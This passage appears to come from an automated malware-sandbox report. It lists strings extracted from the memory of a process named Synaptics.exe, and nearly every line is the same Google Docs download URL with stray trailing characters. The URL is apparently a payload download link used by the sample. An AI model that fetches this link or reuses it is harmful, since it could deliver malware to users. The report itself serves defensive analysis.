Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellem
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademe
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetl6
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniy
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyo
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyo_
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyok
Source: Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadent.y
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadents
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloader
Source: Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadercon
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaderse
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2349487470.000000001DAED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloades
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadesolv
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetle
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlen
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadex
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadexDfx
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007367000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2321971186.000000000EEDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfS
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfSVlpD
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfron)t
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfy
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgD
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2349487470.000000001DAED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgl
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgle-a
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadglkC
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadglq
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2346850361.000000001D9E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgo
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgoog
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgp
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgr
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgsw
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgvt2-
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2295363513.0000000005383000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh)
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhe
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhost
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000072BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi%
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi0
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi4
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiA
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiM
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadic
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadices
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadig;
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadigl
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadin$
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadio
Source: Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadity
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiver
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiy
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor/j
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007367000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj.
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj/
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj5
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjF
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk
Source: Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkVn
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadktop
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk~
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl-S
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlO
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlX
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2346850361.000000001D9E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadla
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle8
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleme
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlemeLj
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleni=k
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniQ
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniy
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadli
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlleme
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2321971186.000000000EEDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm.vn
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2295363513.0000000005383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmi
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmo
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmp
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmpM
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmz
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007367000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2321971186.000000000EEDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2349487470.000000001DAED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn-
